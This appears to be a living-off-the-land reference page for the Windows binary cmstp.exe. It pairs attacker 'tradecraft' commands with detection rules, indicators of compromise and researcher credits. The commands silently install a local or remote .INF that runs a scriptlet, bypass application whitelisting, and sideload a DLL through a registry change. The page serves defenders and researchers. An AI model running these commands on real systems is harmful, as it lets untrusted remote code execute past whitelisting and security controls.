01 / TRADECRAFT
3 examplesCommand reference
Execute2
EXAMPLE 01T1218.003
Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
COMMAND
cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}EXAMPLE 02T1218.003
cmstp.exe reads the `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll` registry value and passes its data directly to `LoadLibrary`. By modifying this registry key and setting it to an attack-controlled DLL, this will sideload the DLL via `cmstp.exe`.
COMMAND
cmstp.exe /nfAWL Bypass1
EXAMPLE 01T1218.003
Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
COMMAND
cmstp.exe /ni /s {REMOTEURL:.inf}02 / ON DISK
Known paths
C:\Windows\System32\cmstp.exeC:\Windows\SysWOW64\cmstp.exe03 / DEFENSIVE INTELLIGENCE
5 resourcesDetection & indicators
- Sigmaproc_creation_win_cmstp_execution_by_creation.ymlgithub.com
- Sigmaproc_creation_win_uac_bypass_cmstp.ymlgithub.com
- Splunkcmlua_or_cmstplua_uac_bypass.ymlgithub.com
- Elasticdefense_evasion_suspicious_managedcode_host_process.tomlgithub.com
- Elasticdefense_evasion_unusual_process_network_connection.tomlgithub.com
Indicators & detection notes
- IOC
Execution of cmstp.exe without a VPN use case is suspicious
- IOC
DotNet CLR libraries loaded into cmstp.exe
- IOC
DotNet CLR Usage Log - cmstp.exe.log
- IOC
Registry modification to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
Oddvar Moe@oddvarmoe
Nick Tyrer@NickTyrer
Naor Evgi@ghosts621